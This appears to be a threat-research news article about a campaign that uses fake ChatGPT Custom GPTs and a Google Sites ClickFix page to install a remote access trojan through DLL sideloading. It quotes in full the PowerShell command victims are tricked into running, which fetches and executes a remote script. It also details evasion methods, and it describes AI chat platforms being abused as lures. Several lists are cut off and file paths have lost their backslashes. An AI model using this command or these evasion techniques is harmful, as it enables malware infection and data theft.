Security researchers at Huntress have uncovered a new social engineering scheme in which attackers abuse ChatGPT's Custom GPTs feature to distribute malware. The attackers create fake GPT models masquerading as legitimate OpenAI products and direct victims to malicious websites containing ClickFix traps, ultimately installing a fully featured Remote Access Trojan (RAT) through a multi-stage infection chain involving DLL sideloading.
Key facts: Attackers create fake Custom GPT models (such as "Plus 5.6") on the legitimate chatgpt.com domain; victims are redirected to Google Sites with a fake Cloudflare verification page; a PowerShell command downloads a malicious MSI; DLL sideloading is performed using signed Canon and Stardock applications; Huntress recorded at least 40 incidents; OpenAI removed the first GPT by September 25, but a second appeared on September 27.
The attack begins when victims search for "chatgpt" on Google and click a sponsored result that takes them to the legitimate ChatGPT domain. The URL contains Google Ads tracking parameters (gad_source, gad_campaignid), making the link more prominent in search results. The attackers create a Custom GPT named "Plus 5.6" so that an inexperienced user may mistake it for a genuine ChatGPT model. The page states that the GPT was created by a "community builder," which may raise suspicion among knowledgeable users, but to ordinary victims the page looks like a normal conversation with a new AI model.
Any interaction with this Custom GPT produces the same response: a "Service Availability Notice" claiming there is "limited availability on the primary domain." Users are offered the choice of either upgrading their subscription to Plus or "continue using the service through our backup domain." This "backup domain" leads to a Google Sites page at sites[.]google[.]com/view/antibot172881, which imitates a Cloudflare CAPTCHA verification and contains a ClickFix attack instructing users to copy and paste a command into the terminal.
The PowerShell command looks like this:
"C:WINDOWSsystem32WindowsPowerShellv1.0PowerShell.exe" -ExecutionPolicy Bypass "irm 1614733393/12 | Out-File $env:temp1777.ps1;& $env:temp1777.ps1"This command downloads an obfuscated script that silently installs a malicious MSI (ISOSimple.msi). The MSI abuses a legitimate digitally signed Canon application to sideload malicious code and then configures two persistence mechanisms: a registry Run key and a scheduled task, both named "Canon Configuration Reader."
Most ClickFix chains consist of two or three steps: paste a command, download something, and execute it. This attack has eight stages, with each one designed to conceal the next. By the end of the chain, a patched Canon DLL loads a helper that extracts a loader from a .wav file, and that loader unpacks the RAT from its own encrypted file system.
The ClickFix commands follow the same general pattern, but the details change for each victim. Each version downloads a script using irm, writes it to %TEMP% under a random number (1777.ps1 in one incident, 6469.ps1 in another), and executes it. The server also changes between incidents. In the analyzed samples, the host is written as a decimal number (1614733393) rather than a dotted IP address. Windows accepts this format and resolves it to 96.62.224[.]81, but rules and URL filters looking for a dotted IP address will never see it.
The script that lands in %TEMP% is a single 27,581-character line, almost all of which consists of an array containing 3,036 negative integers. Each integer represents one character of the real script shifted by a fixed key. The script adds 1520498 to each value, converts the results back into characters, and executes the reconstructed code using [scriptblock]::Create, meaning the decoded version never touches disk.
ISOSimple.msi presents itself as "Advanced Printer Configuration Reader" from the publisher "Softplicity" and silently installs into %LOCALAPPDATA%ProgramsAdvanced Printer Configuration Reader. Two settings make it quieter than a typical installer. ARPSYSTEMCOMPONENT=1 hides it from "Programs and Features," so a user looking for what was just installed will not find it. A custom action launches COTFileReadApp.exe immediately after installation completes, so nothing waits for a reboot or user login.
The package contains 177 files, and almost all of them are harmless. Most make up a complete, legitimately signed .NET 5 runtime required by the Canon application. The rest are set dressing: a DOS 6.22 floppy disk image, a help file, a UI skin to make it look "nice," an MIT license, and the ASProtect library. Of all the files, only eight are relevant to the investigation:
COTFileReadApp.exe is a genuine Canon binary from CaptureOnTouch, and its signature validates correctly. Its companion, COTFileReadApp.dll, calls Canon's logging library, ceiinfolog.dll. When the program requests a DLL by name, Windows first checks the program's own directory, so anything placed next to the EXE with the correct filename is loaded. This is the DLL sideloading opportunity exploited by the attackers.
The ceiinfolog.dll in this package looks genuine because, for the most part, it actually is. Its debug path points to Canon's own build tree (c:datahomeceidriver...ceiinfolog.pdb), its compilation timestamp dates back to 2015, and it still exports the logging functions called by Canon's code. But its signature is gone, the checksum in its header no longer matches its contents, and its import table contains one entry that should not exist in a logging library: rdCore.dll!instance_levels_. The import table is the list of other DLLs required by a library, and Windows loads every entry in it before the library's own code runs. As a result, the moment the Canon application loads its logger, rdCore.dll is brought in with it, without requiring any changes to Canon's own code.
Common.Integrator.Preview.wav survives a quick inspection. It has a valid RIFF/WAVE header (16-bit stereo PCM at 22,050 Hz), the file command identifies it as audio, and the beginning of the file contains genuine audio data. But under closer inspection, the disguise falls apart. The header says the file is approximately 700 KB when it is actually slightly larger than 1 MB, and halfway through, the smooth audio samples turn into random noise.
That noise is the loader. As soon as rdCore.dll is loaded, it starts a thread that:
The decoded bytes are 341 KB of position-independent x64 shellcode — essentially raw machine code capable of running wherever it lands in memory, without an EXE wrapper around it. It contains no readable strings. Every string is constructed on the stack at runtime and decrypted using a small pseudorandom number generator (a linear congruential generator), leaving strings utilities and signature scanners with nothing useful to detect.
The loader's primary task is to locate its storage. It searches its own directory for a file with the .bak, .db, .bin, .dat, .raw, or .pak extension and validates it using a hardcoded key. If nothing matches, it displays the error "[-] Not Found Storage !" and gives up. In this package, the storage file is monitor.raw.
monitor.raw is a custom encrypted file system designed to smuggle the script and RAT past the victim's defenses. Rather than being a single encrypted blob, it is a custom archive with its own directory tree — essentially a homemade encrypted ZIP file. It begins with a small header followed by an index containing 1,128 entries, one for every file or folder. Each entry records its parent, size, and per-file key, followed by the file contents packed tightly together.
Nothing in monitor.raw can be read without the loader's key. Every field in the index is encrypted using arithmetic based on the master key (0x26ace8d1) plus a salt — an additional number unique to each entry that is mixed into the calculations — so no two entries look identical, while every file is additionally XOR-encrypted with its own single-byte key.
Once decrypted, the archive contains 315 folders and 806 files. Most of the files are only a few bytes long: flags, delays, and names that collectively form a compiled settings tree. One of them, however, is a text script written in the malware's own scripting language.
@input is the final payload: 1.58 MB of shellcode built with the same toolset as the loader. For interactive control, it can start remote desktop sessions and screen "broadcasting," and capture input from the endpoint's camera, microphone, and system audio. It recognizes 17 browsers, ranging from Chrome and Edge to Yandex and Arc, can determine which one is the default browser, and launch it. Its built-in file manager includes an "advanced search" mechanism capable of searching file contents across the entire host.
It is also designed to bring friends along. The RAT can drop and execute additional payloads, handling and running EXE, DLL (through rundll32 or regsvr32), MSI, PowerShell, Batch, VBScript, JScript, or ZIP files, either embedded or silently downloaded from a URL in the background.
Before doing any of this, it profiles the infected host, documenting:
To locate its C2 server, referred to in its strings as the "Gate," the RAT uses DNS-over-HTTPS through Cloudflare, Google, and Quad9 servers. Its queries travel inside ordinary HTTPS traffic to well-known resolvers, meaning they never appear in local DNS logs.
Everything described above applies to the first version, built around the Canon application. Shortly after the first Custom GPT was disabled, researchers were alerted to another one at hxxps://chatgpt[.]com/g/g-6ab6ba039440819185ed491740b11cf8-plus-5-6. After a quick investigation, they confirmed that a replacement had appeared and that the chain had returned in a different disguise. Researchers dissected the new samples using the same approach and found that underneath the new appearance, it was the same toolkit.
The signed host is now DeElevate64.exe from Stardock, while the patched Canon logging DLL has been replaced by Stardock's own DeElevator64.dll, modified in the same way with one additional import. The loader is no longer hidden inside a WAV file. This time, it is embedded inside a genuine Microsoft NuGet package, Build.dat. It is wedged into the middle of compressed data belonging to one of the package's own DLLs, and because compressed data already looks random, there is no transition from genuine audio to noise to give it away.
The delivery mechanism has also become more robust. Where the first version's script downloaded the MSI directly, version two splits the process into two parts: a tiny stager downloads a second script into memory using a fake Chrome user agent, and that second script is re-obfuscated on every request, making its hash useless as an indicator. The download retries up to three times, removes the Mark-of-the-Web from the MSI before executing it, and installs it silently. Mark-of-the-Web is a hidden tag Windows attaches to files downloaded from the internet. It is what triggers SmartScreen warnings and "this file came from the internet" notifications, so removing it allows the MSI to run as though it had always been present on disk. The loader also gained a sandbox check. If the helper call fails or the carrier file is missing, it opens a harmless window instead of launching the payload.
Much of this chain executes in memory or hides inside files that appear harmless, making process activity the most reliable place to detect it:
Unfortunately, more "costumes" should be expected. During a deeper investigation of the delivery server, researchers discovered that it was also hosting a third installer, UltraFreeISOCreateWizardSolution.msi, on the same day the Canon wave began, and it is highly likely that other signed applications are being abused in the same way. Detections tied specifically to Canon or Stardock names will miss the next replacement. The behaviors, however, remain consistent for now:
Critical recommendations: Users should exercise caution with Custom GPT models, particularly those offering "backup domains" or instructions to execute commands. Organizations should monitor PowerShell activity, msiexec launches from unusual locations, and suspicious Run keys. OpenAI plans to disable Custom GPTs on December 11, 2026, which will eliminate this attack vector.
Attackers continue to turn trusted platforms into convincing entry points for social engineering, whether through ChatGPT's Custom GPT feature or Google Sites used to host ClickFix attacks. This campaign tricked dozens of victims into running PowerShell and installing a malicious payload. Researchers have previously observed attackers abusing legitimate features on AI platforms, including SEO-poisoned ChatGPT and Grok conversations posing as macOS troubleshooting advice and tricking users into executing commands that downloaded the AMOS stealer. A sponsored Google result directed Mac users to a shared Claude conversation that instructed them to run a malicious Terminal command deploying the MacSync stealer. A malicious Claude Artifact impersonated a Claude Desktop download page and redirected victims to SectopRAT malware.
These campaigns often remain active for only a few hours or days before providers remove the content, but even within that short period they can attract significant attention. The industry must adapt to these new attack vectors by teaching users how to recognize such schemes and implementing stricter controls on AI platforms.
“Social engineering remains the most effective attack vector because it exploits not technology, but human psychology. Attackers will always find a way to exploit users' trust in legitimate platforms for their own purposes.”
— Kevin Mitnick, renowned hacker and cybersecurity expert
